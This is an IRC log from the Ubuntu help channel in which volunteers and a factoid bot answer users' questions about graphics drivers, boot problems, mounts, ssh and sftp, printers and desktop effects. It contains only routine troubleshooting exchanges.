[07:45] <assasukasse> from time to time ubuntu fails to load, tries to run fsck and hangs
[07:45] <tuxn8r> yaybuntu, yeah that is strange to me, i am researching it now....
[07:45] <assasukasse> i reboot then works
[07:45] <neghsmoke> put a # before the first #
[07:45] <assasukasse> should i run fsck? and how?
[07:45] <neghsmoke> err
[07:45] <n2diy> riotkittie: Otter, well, here goes nothing, thanks.
[07:45] <jmblack> I assume its just a problem with the removal script in the new package... if I can get ir removed I might be ok (*crosses fingers*)
[07:45] <YayBuntu> tuxn8r Okay :) let me know if you find anything... I will fire up google too :p
[07:45] <riotkittie> tim167: do you have the driver for the new card installed? have you reconfigured xorg.conf?
[07:45] <neghsmoke> pista: I put a # right before the first / in the line containing fglrx volatile
[07:45] <stefg> assasukasse: dapper is fast, edgy even faster at boot-up... check the prelink and preload packages , and see what services start up at boot. evms and lvm are smetimes not needed
[07:45] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/        reqad my logs and the xorg.conf
[07:45] <Otter> n2diy: You can always readd it later..
[07:45] <tim167> riotkittie: i don't know how to do that, can you help ?
[07:46] <neghsmoke> maybe it needs a # on the wordwrapping line?
[07:46] <CheshireViking> music_: not sure what's gone wrong, maybe your best bet would be to ask in here and see what comes back, i'm new to linux so i can get things working, but not troubleshoot yet
[07:46] <assasukasse> stefg i installed prelink packages and preload, and started them in chron, but still slooow
[07:46] <riotkittie> tim167: what kind of card is it ?
[07:46] <stefg> assasukasse: hardware?
[07:46] <tim167> riotkittie: just a moment, I'll look
[07:46] <n2diy> Otter: yep, just didn't want to muck anything up by removing it.
[07:46] <pista> neghsmoke, i think the problem is that the fglrx in volatile is wrong version
[07:46] <assasukasse> 8.4Gb hdd as home, 3.2Gb hdd as root, 1.2Gb as swap
[07:46] <pista> neghsmoke, you must load firstly that from drm
[07:47] <stefg> assasukasse: RAM and CPU?
[07:47] <Otter> I will post my problem again. I have built a custom iptables script which I have place in /etc/fw/firewall .. then I symlink it in /etc/init,d/firewall but the script does not run when I reboot.. plain old iptables.. what am i doing wrong
[07:47] <tim167> riotkittie: gainward 6600 PCI-e ...something like that
[07:47] <music_> CheshireViking; it did unstalled this thinging called nvidia-glx
[07:47] <assasukasse> stefg i followed this link http://kmandla.wordpress.com/2006/11/11/howto-set-up-edgy-for-speed/
[07:47] <neghsmoke> pista: let me try again
[07:47] <pike_> pip: unless you memorized the disk geometry. i see a complete new install in your future. there are partition undelete programs through
[07:47] <juano__> anyone know why i cant send mail with kmail using gmail, i can fetch mail fine
[07:47] <Otter> n2diy: No worries.. .NET is a Microsoft thing.. MONO is the linux alertintive..
[07:47] <pista> neghsmoke, if something gets pissed off run depmod -a
[07:47] <pista> that'll recover that file
[07:47] <mnoir> Otter: are you following a guide for this?
[07:47] <riotkittie> tim167: in a term, try...  sudo dpkg-reconfigure xserver-xorg
[07:47] <neghsmoke> you're right pista, it's loading from volatile first
[07:48] <stefg> assasukasse: that's a half witty guy ....
[07:48] <n2diy> Otter: roger that, thanks.
[07:48] <roryy> jmblack: can you successfully run 'sudo /etc/init.d/mysqld start' and '/etc/init.d/mysqld stop'
[07:48] <pista> neghsmoke, or: try to uncomment it back and put that with drm before volatile
[07:48] <neghsmoke> okay, i'll try that
[07:48] <tim167> riotkittie: ok
[07:48] <knight> riotkittie: hows mpg123 played in console?
[07:48] <YayBuntu> tuxn8r Seems to be a bug.... Maybe we can just remove the not-working one from fstab?
[07:48] <Otter> mnoir: Just typing to cause a script to load at boot time. I thought if I placed in /etc/init.d/ it would cause it to be a "runlevel" and run when I reboot
[07:48] <tuxn8r> yaybuntu, i just did
[07:48] <assasukasse> stefg any better guide?
[07:48] <riotkittie> knight: mpg123 /path/to/file
[07:49] <tuxn8r> yaybuntu, i just edited /etc/fstab and removed the /dev/ floppy0 line and then typed "mount"
[07:49] <YayBuntu> tuxn8r And no problems?
[07:49] <tuxn8r> yaybuntu, then the crazy one went away and no probs
[07:49] <stefg> assasukasse: general tips: use tmpfs for /tmp and /var/tmp, switch off unneeded services with bum, use reiserfs
[07:49] <mnoir> Otter: no. init.d is where the scripts live but links in rcX.d dirs control automatic execution
[07:49] <blekos> i installed flash player for firefox, but firefox now closes when i visit sites with flash,
[07:49] <blekos> any idea?
[07:49] <YayBuntu> tuxn8r Nice :) I'll do that too
[07:49] <CheshireViking> music_; my update just seemed to update mine to version 8776 and all seems ok
[07:49] <tuxn8r> yaybuntu, so it looks as though if you add your media devices to fstab and type "mount" then they should show up in "computer"
[07:49] <tim167> riotkittie: getting the configuring dialogs now
[07:49] <YayBuntu> tuxn8r Some people even have 7 drives to show up.... But that seems to be another bug
[07:49] <Otter> mnoir: thanks.. moved from gentoo.. which is the normal run level rc.2?
[07:49] <neghsmoke> pista: okay commented both lines this time so it doesn't see any of the volatile only the drm
[07:49] <riotkittie> blekos: uninstall flash. which version did you install - free, non-free, 7? 9?
[07:49] <knight> riotkittie: is there any console front end sfor mpg123?
[07:50] <jmblack> roryy: 'access denied for user 'debian-sys-maint'@'localhost'
[07:50] <neghsmoke> xserver loaded fine
[07:50] <YayBuntu> okay... I'll try it
[07:50] <jmblack> when starting
[07:50] <pista> neghsmoke, dri?
[07:50] <music_> ok i'm starting get piss here... i used had driver "nvidia" working 4-5 days ago and edgy upgraded it self and now driver "nvidia " wont work and i'm using driver "nv" and i used had bearl and my wine games working great but not now here is the log and the xorg.conf http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/
[07:50] <riotkittie> knight: of that, i am not sure.
[07:50] <roryy> jmblack: hrm. maybe that's the problem?
[07:50] <neghsmoke> dri?
[07:50] <CheshireViking> music_; can't suggest anything else other than seeing if anybody here can help
[07:50] <pista> glxinfo
[07:50] <mnoir> Otter: um yes but you should go fing the debial doc on this
[07:50] <evilofisho> I got a question aswell, Whenever I try to compile a C file it just lists like 200 errors and dosent do anything..
[07:50] <roryy> jmblack: you are using sudo, obviously ?
[07:50] <YayBuntu> tuxn8r They didn't :(
[07:50] <jmblack> ror, possibly, I just want to blow it away and reload it ;(
[07:50] <knight> riotkittie: ive got mp3blaster its gpood
[07:50] <jmblack> yes
[07:50] <mnoir> Otter: also the conversion to upstart in 6.10 might affect this
[07:50] <pista> neghsmoke, glxinfo (find direct rendering in output)
[07:50] <stefg> !build | evilofisho
[07:50] <ubotu> evilofisho: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[07:50] <tuxn8r> yaybuntu, well that sucks
[07:50] <neghsmoke> Direct Rendering: No
[07:50] <mnoir> debial-debian
[07:50] <tim167> riotkittie: select the desired X server driver, would that be nvidia ?
[07:50] <blekos> no idea, i just pressed the install missing plugin
[07:51] <evilofisho> Kay, Thanks.
[07:51] <YayBuntu> tuxn8r Yeah... I'll just have to live with it
[07:51] <mnoir> Otbtw - welcome in from the storm :)
[07:51] <YayBuntu> tuxn8r Until i find a solution
[07:51] <Otter> mnoir: already ran uinto the upstrart problem when installing djbdns.. but upstart shouldn't affect normal run level stuff.. I was just a idiot.. it is should be in /etc/rc.'x' .. thanks for the help
[07:51] <riotkittie> tim167: of that, i am not sure. but give it a shot. worse that happens is it doesnt work, and you run the command again
[07:51] <tuxn8r> what did you put in your fstab?
[07:51] <amigrave> I have a fresh install of debian sarge that I want to convert to ubuntu server, all I have to do is change /etc/apt/sources.list and apt-get update & dist-upgrade ? I heard about something with udev ? Should I install or remove it after upgrade ? It's a remote server and I have to be sure that it will reboot
[07:52] <mnoir> Otter: k  (thanks rioghal)
[07:52] <stefg> amigrave: won't work... see !install
[07:52] <n2diy> riotkittie: Otter, I survived!
[07:52] <stefg> !install | amigrave
[07:52] <ubotu> amigrave: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues
[07:52] <mnoir> amigrave: that might work and it might not
[07:52] <Otter> n2diy: Long  Live n2diy!
[07:52] <tim167> riotkittie: ok, now it asks card's bus identifier, it is physically in AGP port is the default "PCI:2:0:0" a correct answer then
[07:52] <tim167> ?
[07:53] <pista> neghsmoke, so it loaded that from drm? are you sure
[07:53] <amigrave> stefg: ubotu: mnoir: thanks, going to have a look
[07:53] <riotkittie> tim167: yes
[07:53] <LinAsH> tim167, yes
[07:53] <v> great just found a live chat for ubuntu!!
[07:53] <mnoir> amigrave: in other words 'don't do it'
[07:53] <stefg> !hi | v
[07:53] <ubotu> v: Hi! Welcome to #ubuntu!
[07:53] <neghsmoke> pista how can i be sure?
[07:53] <riotkittie> eeep. the toddler reapproaches.
[07:53] <neghsmoke> i'm sure the volatile line was commented out
[07:53] <music_> ok i'm starting get piss here... i used had driver "nvidia" working 4-5 days ago and edgy upgraded it self and now driver "nvidia " wont work and i'm using driver "nv" and i used had bearl and my wine games working great but not now here is the log and the xorg.conf http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/
[07:53] <v> Hii,,  this is looking good, ppl
[07:53] <stefg> !repeat | music_
[07:53] <ubotu> music_: Don't feel ignored and repeat your question quickly, if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[07:53] <roryy> jmblack: hrm. not getting much via google for that error message
[07:53] <tim167> use kernel framebuffer device interface? : Y or N ?
[07:53] <stefg> !patience | music_
[07:54] <ubotu> music_: The people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines
[07:54] <pista> neghsmoke, incompatible (from log) ?
[07:54] <neghsmoke> okay, let me check
[07:54] <amigrave> mnoir: why ? you thing the computer wouldn't reboot after upgrade ?
[07:54] <music_> OMG
[07:54] <jmblack> roryy: same, I google way before I ask =)
[07:54] <music_> 5 days now
[07:54] <music_> 5 DAYS NOW STILL NO HELP:'(
[07:54] <v> on thing is we cant do a video conference to make the typing and explaining easier
[07:54] <stefg> music_: may that corelate with your attitude (as others said before) ? ...
[07:55] <riotkittie> stefg: heh!
[07:55] <music_> do you think 5 days is long anuff
[07:55] <mnoir> amigrave: cross dist upgrades are not tested and therefore  nobody knows what might happen
[07:55] <pike_> music_: try booting from an old kernel in /boot  maybe an upgrade screwed you
[07:55] <music_> how
[07:55] <neghsmoke> pista:
[07:56] <music_> wat was mt kernal 5 days ago
[07:56] <Meidos> How do I upgrade from using apache to apache2?
[07:56] <kupesoft> Where can I find out more information about building chroot jail environment for my ssh users? I'm at a real loss here,
[07:56] <neghsmoke> it says dri initialization failed
[07:56] <roryy> jmblack: have you changed /etc/hosts at all?
[07:56] <sioux> hi ubuntus... who much bravo of me want push for a skypecast version for ubuntu
[07:56] <pista> neghsmoke, show me that lines from log
[07:57] <stefg> music_: and since you are just asking your question ver and over, without paying attention to the possible solutions people offer you it's very likely that find yourself on many /ignore list right now
[07:57] <sioux> what did you think about that idea
[07:57] <TheGateKeeper> music_, if you are reasonable familiar with linux try sabayon
[07:57] <cappiz> someone experienced this error:
[07:57] <cappiz> cryptsetup --verbose --verify-passphrase --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat
[07:57] <pike_> gdsudo gedit /boot/grub/menu.lst  the first entry like title     Ubuntu    change the kernel line to another older version that shows up when you "ls /boot"
[07:57] <music_> ???????
[07:57] <cappiz> Failed to setup dm-crypt key mapping.
[07:57] <cappiz> Check kernel for support for the aes-cbc-essiv:sha256 cipher spec and verify that archive contains at least 258 sectors.
[07:57] <qmf> how do i stop my cpu from being throttled?
[07:57] <cappiz> Failed to write to key storage.
[07:57] <cappiz> i mean... this error.
[07:57] <qmf> i want it running full speed all the time
[07:57] <kupesoft> Where can I find out more information about building chroot jail environment for my ssh users? I'm at a real loss here,
[07:58] <v> skypecast version for ubuntu? some kind of tutorial cross elearning?
[07:58] <tuxn8r> Ubuntu didn't work correctly upon first install on my laptop. I worked through the problems and got most of my devices working properly. Does anyone know where I should post this information at the Ubuntu site so it is fixed in Feisty and/or so other people can find out how to set it up in Edgy?
[07:58] <pike_> music_: sorry just sudo gedit /boot/grub/menu.lst
[07:58] <music_> i just want my stuff to work:'(
[07:58] <music_> ok
[07:58] <mnoir> kupesoft: google 'chroot jail'?
[07:58] <TheGateKeeper> don't use edgy then use dapper
[07:59] <sioux> skype 3.0 for windows does skypecast but no skypecast available for linux
[07:59] <neghsmoke> pista: http://pastebin.com/857807
[07:59] <tim167> riotkittie, LinAsH: it works now, thanks!
[07:59] <riotkittie> oooh. my kid is having a toddler sized meltdown. exit, stage right
[07:59] <mikeconcepts2> music, during the initial booting up of ubuntu, you can hit the escape key and then you will be presented with all the previous kernels you've ever had, select one of the older ones
[07:59] <riotkittie> tim167: glad to hear that! :)
[07:59] <stefg> tuxn8r: if you have reproducable bugs then write a report o Launchpad (with your workarounds). YOur solutions to config-problems better g to the wiki
[08:00] <music_> this is duel boot of ubuntu and xp
[08:00] <dulcena> granada
[08:00] <sioux> I am try to find some info about how to use skypecast on linux or ubuntu but nothing
[08:00] <dulcena> granada
[08:00] <kupesoft> mnoir: nothing is ubuntu-specific here,
[08:00] <western> hi! i'd like to install a LOGITECH WEBCAM PRO on ubuntu... anybody here with a little experience
[08:00] <music_> esc hmmmm
[08:00] <tuxn8r> stefg, will my work around be utilized to address what happens when it is first installed in Feisty?
[08:00] <stefg> !webcam | western
[08:00] <ubotu> western: webcam is now easy to install on Linux; instructions at https://help.ubuntu.com/community/Webcam Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras
[08:00] <western> !webcam
[08:00] <ubotu> webcam is now easy to install on Linux; instructions at https://help.ubuntu.com/community/Webcam Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras
[08:00] <sioux> skypecast seems unavailable on linux system :-)
[08:00] <mnoir> kupesoft: chroot jail is not specific to ubuntu
[08:00] <sioux> :-(
[08:01] <sioux> sorry :-(
[08:01] <neghsmoke> pista: found something else interesting. says my screen is not dri compatible
[08:01] <western> thx stefg
[08:01] <neghsmoke> screen 0
[08:01] <v> By the way what are the disadvantages with the Ubuntu compared with a windows? besides not being able to play the latest games
[08:01] <pista> neghsmoke, i cant open that pastebin, post in on #flood
[08:02] <Zaggynl> how do I check what packages use a certain depencendy
[08:02] <stefg> tuxn8r: to be honest... i don't know. Ubuntu is suffering from it's rapid growth at the moment, the structures which worked a year before just don't scale to it's current popularity.
[08:02] <Zaggynl> *which packages
[08:02] <Bluedog> I have a MS multimedia keyboard, does anyone know how to make the buttons up top work?
[08:02] <Bluedog> atm the volume works, play stops play, and thats all
[08:02] <tuxn8r> stefg, okay thanks. I look for any way to contribute and anyone with my model of laptop would go crazy going through all of the changes I had to make.
[08:03] <stefg> !keytouch | bluedog
[08:03] <ubotu> bluedog: Keyboard shortcuts can be set in System -> Preferences -> Keyboard Shortcuts (Gnome) or "Input Actions" in KControl (KDE). If your multimedia keys don't work with that, try keytouch - http://keytouch.sourceforge.net
[08:03] <Bluedog> thanks :)
[08:03] <stefg> tuxn8r: please! write a wiki article on  it
[08:04] <MarcN> Good pointer to supported wireless G cards? I'm looking for an inexpensive PCMCIA card that doesn't require the NDIS wrapper hack.
[08:04] <faeryNatsuki> how can i fully reinstall alsa in edgy?
[08:04] <neghsmoke> pista: done
[08:04] <tuxn8r> stefg, can i do that at wiki.ubuntu.com?
[08:04] <Bluedog> will I need to restart x to make keyboard shortcuts work?
[08:04] <stefg> tuxn8r: exctly
[08:05] <pip> !gparted
[08:05] <ubotu> gparted is gparted is a GUI partitioning program, "sudo apt-get install gparted", also available as a live cd http://gparted.sourceforge.net/livecd.php
[08:05] <stefg> tuxn8r: but you have to register first
[08:05] <jrib> !hardware | tuxn8r
[08:05] <ubotu> tuxn8r: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport
[08:05] <jrib> tuxn8r: there is a laptop page thre eI think, be sure to link to the new page you create
[08:05] <pike_> MarcN: i use proxim orinoco with has external antenna port. i would just look for a card with an antenna port and mentioned in forums as working.
[08:06] <faeryNatsuki> i'm tired, i'll ask agaion later
[08:06] <faeryNatsuki> see you boys
[08:06] <daedra> how can I get ubuntu to remember my audio settings like volume/balance?
[08:06] <tuxn8r> thanks everyone. the most annoying problem is Toshiba has made the xp software control the sound card hardware, so if xp mutes the sound, it will never work in linux (with current drivers) ....
[08:07] <stefg> tuxn8r: good catch to make public. i can imagine newbies going mad over that problem... everything seems to work, but no sound still
[08:07] <MarcN> pike_: who are they branded as?   linksys, dlink, etc?
[08:07] <CheshireViking> MarcN: i'm using a Belkin wireless pcmcia card which has got the rt2500 chipset, that worked out of the box, install ubuntu, activate the card in networking/network tools & i was online
[08:08] <n2diy> ! bugs
[08:08] <pike_> daedra: i THINK sudo alsactl store
[08:08] <ubotu> If you find a bug in Ubuntu or any of its derivatives, please file a bug report at: http://bugs.ubuntu.com/  -  Bugs in/wishes for the bots can be filed at http://launchpad.net/products/ubuntu-bots
[08:08] <MarcN> CheshireViking: 802.11G?
[08:08] <Trixsey> I have a built-in cardreader in my laptop
[08:08] <Trixsey> and it's not working!
[08:08] <Trixsey> What should I do?
[08:08] <v> Anyone here with a site on how you use Ubruntu daily, sort of help get the codes pluged into our heads and navagate with more courage.. Would like to see more clearer vids besides Youtubes
[08:09] <pike_> MarcN: check out some wardriving forums id say they have the best recommendations
[08:09] <music_> nope non of them works
[08:09] <Trixsey> Ubuntu Edgy+Laptop+Cardreader (xD, SD etc) = Cardreader not working
[08:09] <Trixsey> What do I do?
[08:09] <deoryp> i would like to ask someones help to get java-runtime env connected to firefox
[08:09] <daedra> pike_: thx
[08:09] <jrib> v: help.ubuntu.com?  or are you specifcally looking for videos?
[08:10] <jrib> daedra: install sun-java5-plugin from multiverse
[08:10] <jrib> !java | daedra
[08:10] <ubotu> daedra: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository
[08:10] <Trixsey> Ubuntu Edgy+Laptop+Cardreader (xD, SD etc) = Cardreader not working... Help! What do I do!?
[08:11] <CheshireViking> MarkN: yes, 802.11G, had to think then whether it was only 802.11b or not, but its definately  G, only trouble is, the model number is a 7010, but there's some that are rt2500 & older ones that are broadcom 4306 that needed ndiswrapper
[08:11] <music_> (EE) Failed to load module "nvidia" (module does not exist, 0)
[08:11] <music_> (EE) No drivers available.
[08:11] <daedra> jrib: I don't need java...
[08:11] <v> for Vids like how normal linux users use their OS, To surf, install, update, daily stuff
[08:11] <juano__> anyone know why i cant send mail with kmail using gmail, i can fetch mail fine
[08:11] <robert_> bleh
[08:11] <deoryp> jrib: i did that but it is not showing up in firefox, even after i copied the .so files into /plugin dir for firefox (in every place i could find)
[08:11] <MarcN> CheshireViking: it is going into my mythtv box so I want G.  Currently using an old orinoco B and painfully slow.
[08:11] <stefg> Trixsey: first step: plug card reade in then check dmesg, if theres a message about a USB event
[08:12] <CheshireViking> MarcN: i'm connected at 54Mbps
[08:12] <robert_> somebody's trying to connect to me via SFTP2(FTP-over-SSH2), and they're getting "Timeout detected."
[08:12] <robert_> wtf does that mean/
[08:13] <daedra> !wtf
[08:13] <ubotu> Words like noob, jfgi, stfu or rtfm are not welcome in this channel. Period.
[08:13] <n2diy> ! bugs
[08:13] <ubotu> If you find a bug in Ubuntu or any of its derivatives, please file a bug report at: http://bugs.ubuntu.com/  -  Bugs in/wishes for the bots can be filed at http://launchpad.net/products/ubuntu-bots
[08:13] <Trixsey> robert_, are your ports open?
[08:13] <Trixsey> ftp default port is 21, if I'm not mistaken
[08:13] <mnoir> robprolly that you are not set up to allow them and are ignoring their request
[08:13] <Trixsey> is it open? if not.. no wonder he gets timeout
[08:13] <daedra> !cheese
[08:13] <ubotu> Sorry, I don't know anything about cheese - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:13] <robert_> Trixsey- I use that box all the time from remote hosts
[08:13] <daedra> !anything
[08:14] <stefg> and  port 21 needs to be forwarde by the router, if there's a NAT
[08:14] <ubotu> Sorry, I don't know anything about anything - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:14] <daedra> lol
[08:14] <Trixsey> stefg, like I said
[08:14] <Trixsey> it's built in
[08:14] <deoryp> i would like to ask someones help to get java-runtime env connected to firefox, i have already installed everything from apt
[08:14] <Trixsey> has nothing to do with USB
[08:14] <Roa> PlOp
[08:14] <v> juano__: just saw the Help Doc. Ya kinda close, except my eyes are tired, If there was a nice Video version it would be great
[08:14] <Napster> i downloaded frostwire and installed it...but when i open it it doesnt do anything...nothing happens
[08:14] <stefg> !frostwire
[08:14] <ubotu> frostwire is a totally open source version of Limewire.  For installation help, please see https://help.ubuntu.com/community/FrostWire
[08:14] <robert_> Trixsey- and people use it all the time
[08:14] <jmblack> stfp != ftp. sftp literally runs over ssh. afaik it has nothing to do with port 21 (which is ftp not sftp)
[08:15] <nemo_work> is there any reason why gnome vfs over ssh might be failing on my mom's ubuntu laptop?
[08:15] <nemo_work> er. ssh over gnome vfs
[08:15] <un_operateur> Tristan, stefg, but SFTP/STFP2 uses port 22 like SSH
[08:15] <stefg> jmblack: so apply that to 22
[08:15] <Napster> wat should i do?
[08:15] <triton> holas buenos dias
[08:15] <pike_> Napster: you installed java too? an alternative is amule it uses diff network though
[08:15] <jmblack> yep, Im just explaining for others ;)
[08:15] <nemo_work> If I doubleclick on the server link on desktop, nothing happens in sshd log or on machine. the connecting dialog just sits there until I cancel
[08:16] <nemo_work> when I used the places menu, it prompted me for password, which I added and typed in.
[08:16] <nemo_work> on the server a connection was logged
[08:16] <stoneey> just saying i'm in love with linux
[08:16] <nemo_work> but nothing else happened
[08:16] <stoneey> :D
[08:16] <un_operateur> nemo_work, this "server link" what is it really? is it a shortcut, or a command or what?
[08:17] <stefg> nemo_work: :authentication problem? host-key changed? user key changed?
[08:17] <psynaps3_> just for people's info, if u want to use wireless (wrt54gl,dell xps laptop), use connection manager instead of network manager. will save you all a lot of trouble :)
[08:17] <nemo_work> un_operateur: gnome vfs, I said so :)
[08:17] <triton> quienquien es el pajarraco malandrin?
[08:17] <Napster> amule doesnt work on my machine anymore...i installed it and now when i open it it closes itself immediately
[08:17] <psynaps3_> now to go and get some sleep
[08:17] <psynaps3_> phew
[08:17] <nemo_work> un_operateur: connect to server, selected ssh, filled out the info
[08:17] <juano__> v: cant send mail dunno why
[08:17] <nemo_work> stefg: no errors noted server side
[08:17] <nemo_work> stefg: additionally, can connect from command prompt
[08:18] <nemo_work> hm. I guess I could try making an ssh link to localhost
[08:18] <blekos> how can i install the kde desktop?
[08:18] <pike_> Napster: if you dont have any incomplete files to lose just "rm -fr ~/,aMule" and it will create a new config directory when it starts next
[08:18] <un_operateur> nemo_work, well, somewhere along the line, something's failing .. probably some wrong info .. double check
[08:18] <stefg> nemo_work: ok, authentication ruled out then
[08:18] <rsk> blekos: apt-get install kde-desktop
[08:18] <pike_> Napster: sorry that . not ,
[08:18] <nemo_work> un_operateur: well, it is connecting to right server as right user
[08:18] <v> juano__: What Mail??
[08:19] <nemo_work> un_operateur: Jan 12 12:19:23 [sshd]  Accepted keyboard-interactive/pam for XXXXXXXXX from XXXXXXXXXXXXXXXXX port 49652 ssh2
[08:19] <stefg> funny port
[08:19] <nemo_work> stefg: that's standard
[08:19] <nemo_work> stefg: client side is always a random high-level port
[08:19] <optx> hi everybody
[08:19] <nemo_work> stefg: in any tcp communications :)
[08:19] <JoshJ> so, question about the fglrx and radeon drivers: what's the difference in functionality?
[08:19] <v> By the way those who installed Ubunti, did you also installed Berly with e 3D effects and stuff(Saw it on Youtube)
[08:20] <nemo_work> fglrx locks up your computer at random? :)
[08:20] <blekos> i get the error couldnt find package ??
[08:20] <JoshJ> nemesislord: lol
[08:20] <un_operateur> nemo_work, if i were you -- i'd just use a launcer with a command like this "ssh hostname -u username", etc
[08:20] <JoshJ> * nemo_work
[08:20] <nemo_work> but I need it to play TA:Spring, so no choice :-/
[08:20] <Napster> that didnt work
[08:20] <Napster> wats the exact command?
[08:20] <un_operateur> err .. ssh username@hostname  sorry
[08:20] <nemo_work> un_operateur: erm. I can do that, sure. however I wanted drag and drop file copying, which is what the folder offers
[08:20] <nemo_work> a launcher won't do that
[08:20] <juano__> v: gmail through kmail
[08:20] <titacgs> hi, i need some help... i can't make work my printir on ubuntu brezzy... is an hp 695 c, could someone help me???
[08:20] <JoshJ> v: i've got beryl installed, go look up the beryl project site and they've got instructions
[08:21] <nemo_work> un_operateur: I can use FUSE, but that is overkill, and can be flaky over long mount periods, where as gnome-vfs is flaky over non-gnome apps, but only connects as needed
[08:21] <JoshJ> probably better to follow their instructions than to try what i have from memory
[08:21] <JoshJ> (also check out compiz, you may want compiz instead of beryl)
[08:21] <v> JoshJ: was it a quicky?
[08:21] <un_operateur> nemo_work, does sshd log anything when you use this link?
[08:21] <JoshJ> i think they've made it easier now than it was :P
[08:21] <JoshJ> it's about 10 minutes to install i guess
[08:21] <stefg> v: Beryl is a nice toy, but not really usable for real work now... theres #ubuntu-xgl for beryl/xgl/aiglx/emerald/compiz support
[08:21] <JoshJ> but i installed it way back in the .1 beta
[08:22] <mzanfardino> can someone please help me with a problem I'm having with networking and vmware?
[08:22] <titacgs> hi, i need some help... i can't make work my printir on ubuntu brezzy... is an hp 695 c, could someone help me???
[08:22] <nemo_work> un_operateur: I gave you that earlier :-p
[08:22] <daedra> #music
[08:22] <nemo_work> un_operateur: that logging only occurred when using the Places instead of desktop link, oddly enough
[08:22] <hardtalkmicrobio> hi
[08:22] <nemo_work> both failed, however
[08:22] <v> Its not stable Yet??? man it rocks like the suns Java 3d OS
[08:22] <hardtalkmicrobio> H5N1 is very dangerous
[08:22] <JoshJ> titacgs: hp 695c? hold on
[08:22] <nemo_work> to un_operateur and stefg, I just tested creating an SSH connection to localhost, and it is failing the same way (!)
[08:23] <titacgs> JoshJ, yes... ok
[08:23] <trappist> stefg: I have to disagree re: beryl
[08:23] <pike_> titacgs: use this google search "site:linuxprinting.org 695c"  to setup printer open web brower and go to "127.0.0.1:631"  use the hpjis driver i think might be best
[08:23] <hardtalkmicrobio> why?
[08:23] <Napster> ??
[08:23] <un_operateur> nemo_work, ssh connection via the command line client?
[08:23] <nemo_work> again, doubleclicking on desktop link hangs with cancel dialog, going to Places->testing prompts for password but does nothing else
[08:23] <hardtalkmicrobio> H5N1 is a virus
[08:23] <jamesbrose> darn, is there no shockwave player for linux?
[08:23] <v> 	<hardtalkmicrobio: Ill Use NOD32 for anything
[08:23] <JoshJ> yeah, listen to pike_
[08:23] <trappist> jamesbrose: nope
[08:23] <nemo_work> un_operateur: no gnome vfs.  I repeat commandline works great
[08:23] <nemo_work> local and remote
[08:23] <JoshJ> he sent you to the same site i was about to send you to :P
[08:24] <stefg> trappist: we might have a different concept of what 'work' means :-)
[08:24] <nemo_work> at this moment I'm connected to the machine over an SSH tunnel actually.
[08:24] <pike_> ;p
[08:24] <jamesbrose> trappist, is there an alternative?
[08:24] <jrib> jamesbrose: only way is to run firefox in wine with shockwave
[08:24] <trappist> stefg: I'm at work right now, been running beryl for weeks
[08:24] <JoshJ> i think he means beryl doesn't really add any functionality :P
[08:24] <trappist> jamesbrose: codeweavers crossover office (a commercial wine spinoff) is a solution
[08:24] <un_operateur> nemo_work, are you sure you are selecting the right version of SSH to use .. SSH1 or SSH2 ?
[08:24] <trappist> JoshJ: it adds a lot of usability enhancements
[08:24] <nemo_work> un_operateur: try creating a gnome vfs mount :-p
[08:24] <nemo_work> un_operateur: that is not an option
[08:25] <un_operateur> nemo_work, heh, if i used gnome, i'd have a clue but i dont :)
[08:25] <nemo_work> un_operateur: go to places, choose connect to server, select ssh, and fill out info appropriately
[08:25] <JoshJ> eh, the only real addition to usability i found was the ability to switch workspaces with the mouse, and uh the f9 key
[08:25] <v> trappist: I think it serves its purpose as shown
[08:25] <nemo_work> un_operateur: you don't have a single machine using gnome?
[08:25] <un_operateur> nemo_work, nope
[08:25] <nemo_work> btw, gnome vfs works fine on my work machine here. so seems to be ubuntu specific
[08:25] <v> Useful for U?
[08:25] <trappist> JoshJ: there's a lot more going on.  like the ability to tab windows together, for example
[08:25] <un_operateur> anyway, i gotta go, bbl
[08:25] <trappist> JoshJ: 80% of it is just eyecandy, but that's not all it is
[08:26] <nemo_work> ok, anyone who actually uses gnome under ubuntu, mind trying to create a gnome vfs ssh mount?
[08:26] <titacgs> pike_, JoshJ the thing is that i already installed it but it doesn't print anything
[08:26] <yrlnry> I've just created a new printer with the System/Administration/Printing application,  and I can print test pages to it from that application.  But it hasn't created an entry in /etc/printcap.  Should I edit /etc/printcap manually to add it?
[08:26] <avaricen> whats the laptop monitor for gnome called again
[08:26] <yrlnry> Or is there some way that is more reliable?
[08:26] <JoshJ> titacgs: i'm 1 for 2 on printing in linux :(
[08:26] <Skat> JoshJ did you get Beryl working using XGL or AIGLX?
[08:26] <v> trappist: if its produictive and fast its good else ill keep my memory
[08:26] <tweakism> If I do "install a command line system" on ubuntu edgy amd64 alternate cd, do I get the same install as the server CD?
[08:26] <JoshJ> Skat: i forget, where would i go to check?
[08:27] <pike_> titacgs: you already logged into cups and set it up that way?
[08:27] <JoshJ> (it was a while ago)
[08:27] <trappist> v: it's all those things.  right now the biggest issue for me is that the nvidia drivers need some work
[08:27] <JoshJ> titacgs: my success was a HP deskjet 3847 and my failure was a lexmark x73; so whatever
[08:27] <Skat> Well I tried XGL using the fglrx driver
[08:27] <trappist> v: and the worst I get out of that is that once a day or so a window will turn black
[08:27] <tonyyarusso> What's the package of rejected Edgy artwork?
[08:27] <JoshJ> i'm not even using fglrx, looking in xorg.conf shows radeon
